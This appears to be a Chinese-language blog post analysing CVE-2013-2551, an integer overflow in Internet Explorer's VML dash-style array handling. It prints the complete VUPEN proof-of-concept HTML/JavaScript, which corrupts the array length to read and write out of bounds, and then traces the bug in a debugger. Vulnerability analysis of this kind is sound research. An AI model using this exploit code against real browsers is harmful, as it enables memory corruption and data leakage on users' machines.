[CVE-2013-2551]-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞分析

0x00 POC
   <html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a          = new Array()

function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i]    = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}

function crashme(){

var vml1  = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){   //set up the heap
      a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}

for (var i=0; i<0x400; i++){
      a[i].rotation;                                                   //create a COARuntimeStyle
      if (i == 0x300) {                                                //allocate an ORG array of size B0h
           vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
  }
}
    vml1.dashstyle.array.length      = 0 - 1
    shape.dashstyle.array.length = 0 - 1
    for (var i=0; i<0x400; i++) {
       a[i].marginLeft   = "a";
       marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
       if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
       }
}
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>


0x01漏洞分析
 1.开启页堆调试,IDA导入VGX符号文件file->loadfile->PDB File,导入成功后,根据poc“_vgRuntimeStyle”,在IDAFunction Windows查找字符“runtimstyle”,可以看到只有一个COARuntimeStyle
 

 还有从poc中可以看到对dashstyle的修改,还有vmlshapelength都为负数,猜测是整数溢出,可以用IDA大概查看设置dashstyle值相关的函数




COALineDashStyle::put_value(ushort *)

COALineDashStyleArray::put_length(int)


Poc中也对item进行访问和修改,同样的方法查找下


2.poc的执行流程中推测,在COALineDashStyle::put_value(ushort *)函数下断后,单步跟,可以找到触发漏洞的地方,对上面查到的函数分别下断

  2.1COALineDashStyle::put_value(ushort *)分析
  中断后,查看下栈上的数据,01b9d640保存的是poc中dashstyle的数据“1,2,3......”
  



一直单步,差不多到返回时,esivml1对象,esi+8dashstyleCOALineDashStyle::put_value(ushort *)函数功能:把传进来的字符串指针,赋值到esi+8处的地址




2.2COALineDashStyleArray::put_length(int)分析
 g运行后,将断下COALineDashStyleArray::put_length(int)函数
查看下栈的数据,-1为参数(int


   获取dashstyle.array的属性


  获取dashstyle.array元素的个数

  获取完元素的个数与dashstyle.array的长度进行比较,如果元素的个数大于dashstyle.array的长度就不分配内存,


单步到达ORG::DeleteRange函数,跟进去看下

vgx!MsoDeletePx函数继续跟进


      

  vgx!MsoFRemovePx跟进
该函数:主要是把2c-2d相减后(0xffff),赋值到传进来的对象(0478c038)偏移40478c03c



一直单步到COALineDashStyleArray::put_length(int)函数返回


2.3COALineDashStyleArray::get_item函数分析
g运行2次,将到达COALineDashStyleArray::get_item函数
查看下栈数据,可以看出0x44poc中的0x2E+0x16


单步跟,看到熟悉的对象


0xffff0x44进行比较,jge有符号比较(大于等于则跳转),0xffff>0x44,跳转不成立

单步跟进vgx!ORG::Get函数
主要功能:以ORG对象(0478c038)偏移10后,取得源地址,源地址再加0x110
目的地址是指向栈空间,每次读取4字节到目的地址

在这里就已经造成信息泄露了,dashstyle.array的实际长度为0x2c,经过vgx!MsoFRemovePx处理变成0xffff(有符号的值赋值到无符号的空间里),而前面比较时采用的是有符号比较,并没有重新分配空间,在COALineDashStyleArray::get_item函数里也采用有符号比较,0xffff已经是无符号数了,所以索引0x44小于0xffff,跳转不会成立,0x44大于0x2c,最终造成信息泄露,具体利用参考《漏洞战争》

评论

此博客中的热门博文

Opencart-v3-0-3-0 user changes password at csrf vulnerability

Charles 4.2.7 XML External Entity

Docker's latest version of privilege escalation vulnerability